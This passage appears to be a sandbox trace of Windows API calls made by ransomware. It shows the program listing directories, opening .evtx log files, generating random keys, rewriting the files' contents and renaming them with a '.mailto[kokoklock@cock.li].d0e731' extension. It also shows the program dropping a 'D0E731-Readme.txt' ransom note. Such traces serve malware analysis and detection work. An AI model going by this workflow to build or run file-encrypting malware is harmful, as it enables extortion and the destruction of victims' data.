_Dest=0x3479e98, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0062.343] wcscat (in: _Dest=0x3479e98, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0062.343] wcscat (in: _Dest=0x3479e98, _Source="oobe_2017_09_07_03_08_57_737.log" | out: _Dest="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" [0062.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0062.343] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0062.343] wcscmp (_String1="PartnerSetupCompleteResult.log", _String2=".") returned 1 [0062.344] wcscmp (_String1="PartnerSetupCompleteResult.log", _String2="..") returned 1 [0062.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33e7090 [0062.344] wcscpy (in: _Dest=0x33e7090, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0062.344] wcscat (in: _Dest=0x33e7090, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0062.344] wcscat (in: _Dest=0x33e7090, _Source="PartnerSetupCompleteResult.log" | out: _Dest="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" [0062.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e7090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0062.344] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0062.344] FindClose (in: hFindFile=0x3433968 | out: hFindFile=0x3433968) returned 1 [0062.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34521e8) returned 1 [0062.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9520) returned 1 [0062.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc760) returned 1 [0062.345] RtlExitUserThread (Status=0x0) Thread: id = 66 os_tid = 0x4a4 [0060.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e94b0 [0060.386] wcscpy (in: _Dest=0x33e94b0, _Source="C:\\$GetCurrent\\SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS" [0060.386] wcscat (in: _Dest=0x33e94b0, _Source="\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0060.386] wcscat (in: _Dest=0x33e94b0, _Source="*" | out: _Dest="C:\\$GetCurrent\\SafeOS\\*") returned="C:\\$GetCurrent\\SafeOS\\*" [0060.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3452450 [0060.386] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34339a8 [0060.486] wcscmp (_String1=".", _String2=".") returned 0 [0060.486] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.486] wcscmp (_String1="..", _String2=".") returned 1 [0060.486] wcscmp (_String1="..", _String2="..") returned 0 [0060.486] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0060.486] wcscmp (_String1="GetCurrentOOBE.dll", _String2=".") returned 1 [0060.486] wcscmp (_String1="GetCurrentOOBE.dll", _String2="..") returned 1 [0060.486] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0060.486] wcscmp (_String1="GetCurrentRollback.ini", _String2=".") returned 1 [0060.486] wcscmp (_String1="GetCurrentRollback.ini", _String2="..") returned 1 [0060.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e87a0 [0060.487] wcscpy (in: _Dest=0x33e87a0, _Source="C:\\$GetCurrent\\SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS" [0060.487] wcscat (in: _Dest=0x33e87a0, _Source="\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0060.487] wcscat (in: _Dest=0x33e87a0, _Source="GetCurrentRollback.ini" | out: _Dest="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" [0062.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e87a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0062.340] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0062.340] wcscmp (_String1="PartnerSetupComplete.cmd", _String2=".") returned 1 [0062.340] wcscmp (_String1="PartnerSetupComplete.cmd", _String2="..") returned 1 [0062.340] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0062.340] wcscmp (_String1="preoobe.cmd", _String2=".") returned 1 [0062.340] wcscmp (_String1="preoobe.cmd", _String2="..") returned 1 [0062.340] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0062.340] wcscmp (_String1="SetupComplete.cmd", _String2=".") returned 1 [0062.340] wcscmp (_String1="SetupComplete.cmd", _String2="..") returned 1 [0062.340] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x3452450 | out: lpFindFileData=0x3452450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0062.340] FindClose (in: hFindFile=0x34339a8 | out: hFindFile=0x34339a8) returned 1 [0062.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3452450) returned 1 [0062.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e94b0) returned 1 [0062.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341b520) returned 1 [0062.341] RtlExitUserThread (Status=0x0) Thread: id = 68 os_tid = 0xa80 [0060.506] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0060.509] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx", dwFileAttributes=0x20) returned 1 [0060.509] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0 [0060.509] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x6e2f92c | out: lpFileSize=0x6e2f92c*=69632) returned 1 [0060.509] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.509] ReadFile (in: hFile=0x5b0, lpBuffer=0x6e2f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6e2f8fc, lpOverlapped=0x0 | out: lpBuffer=0x6e2f900*, lpNumberOfBytesRead=0x6e2f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.511] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e90 [0060.511] NtQuerySystemTime (in: CurrentTime=0x6e2f8d8 | out: CurrentTime=0x6e2f8d8*=132121176183989764) returned 0x0 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x46ad0edb [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xbaf42a1e [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x5434e280 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x20e86a28 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x1957c83f [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x63b5f06d [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xd6b11b6e [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x6156cce0 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x557c7eed [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xa2ff91e9 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x33de311e [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x4153d078 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x57e91107 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x957d9ea [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x3d15e0fc [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x18c25a9a [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xb3b801ac [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x7198f0ab [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x3411c436 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x7074190 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x76edc88b [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x572ad05a [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x23dad664 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xac84fc79 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x293bade1 [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xed5f261f [0060.511] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x90dce57e [0060.512] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x1ef5f449 [0060.512] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x130ebb29 [0060.512] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0x7f58aa2 [0060.512] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xdf25c067 [0060.512] RtlRandom (in: Seed=0x6e2f8e4 | out: Seed=0x6e2f8e4) returned 0xa75ca659 [0060.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c4a60 [0060.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d50 [0060.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4a60) returned 1 [0060.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34798d0 [0060.522] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.522] ReadFile (in: hFile=0x5b0, lpBuffer=0x34798d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6e2f8b0, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesRead=0x6e2f8b0*=0x4096, lpOverlapped=0x0) returned 1 [0060.523] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd670 [0060.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c4a60 [0060.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d78 [0060.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d78) returned 1 [0060.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e18 [0060.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4da0 [0060.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4da0) returned 1 [0060.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4a60) returned 1 [0060.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd670) returned 1 [0060.524] WriteFile (in: hFile=0x5b0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6e2f8b0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x6e2f8b0*=0x4096, lpOverlapped=0x0) returned 1 [0060.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.525] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.525] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4e18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6e2f8e8, lpOverlapped=0x0 | out: lpBuffer=0x33e4e18*, lpNumberOfBytesWritten=0x6e2f8e8*=0x20, lpOverlapped=0x0) returned 1 [0060.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e18) returned 1 [0060.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798d0) returned 1 [0060.525] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6e2f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33e4d50*, lpNumberOfBytesWritten=0x6e2f8fc*=0x8, lpOverlapped=0x0) returned 1 [0060.525] WriteFile (in: hFile=0x5b0, lpBuffer=0x6e2f914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6e2f8fc, lpOverlapped=0x0 | out: lpBuffer=0x6e2f914*, lpNumberOfBytesWritten=0x6e2f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.525] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6e2f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6e2f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.525] WriteFile (in: hFile=0x5b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6e2f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6e2f8fc*=0x6c, lpOverlapped=0x0) returned 1 [0060.525] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6e2f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33e4e68*, lpNumberOfBytesWritten=0x6e2f8fc*=0x20, lpOverlapped=0x0) returned 1 [0060.525] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6e2f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6e2f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d50) returned 1 [0060.526] CloseHandle (hObject=0x5b0) returned 1 [0060.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccef0 [0060.530] wcscpy (in: _Dest=0x33ccef0, _Source="C:\\Logs\\Application.evtx" | out: _Dest="C:\\Logs\\Application.evtx") returned="C:\\Logs\\Application.evtx" [0060.530] wcscat (in: _Dest=0x33ccef0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" [0060.530] MoveFileW (lpExistingFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), lpNewFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\application.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.530] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccef0) returned 1 [0060.531] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx", dwFileAttributes=0x20) returned 0 [0060.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433de8 [0060.531] wcscpy (in: _Dest=0x3433de8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.531] wcscat (in: _Dest=0x3433de8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.531] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0xffffffff [0060.531] CreateFileW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0 [0060.531] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x6e2f8f8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x6e2f8f8*=0x481, lpOverlapped=0x0) returned 1 [0060.532] CloseHandle (hObject=0x5b0) returned 1 [0060.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433de8) returned 1 [0060.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0758) returned 1 [0060.533] RtlExitUserThread (Status=0x1) Thread: id = 69 os_tid = 0xe00 [0060.510] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0060.526] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx", dwFileAttributes=0x20) returned 1 [0060.527] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0060.527] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x6eaf8e8 | out: lpFileSize=0x6eaf8e8*=69632) returned 1 [0060.527] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.527] ReadFile (in: hFile=0x5b4, lpBuffer=0x6eaf8bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6eaf8b8, lpOverlapped=0x0 | out: lpBuffer=0x6eaf8bc*, lpNumberOfBytesRead=0x6eaf8b8*=0x4, lpOverlapped=0x0) returned 1 [0060.533] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4eb8 [0060.534] NtQuerySystemTime (in: CurrentTime=0x6eaf894 | out: CurrentTime=0x6eaf894*=132121176184305633) returned 0x0 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xa793a7d5 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x63a2ab50 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xffae5148 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x8fc34884 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xc0f49dde [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x96f5e8ba [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x964369d7 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xe0357afc [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xf4fd67ed [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x92802ba2 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x67166a5b [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x310b7c27 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x55a77981 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xd0f40c45 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x80e824aa 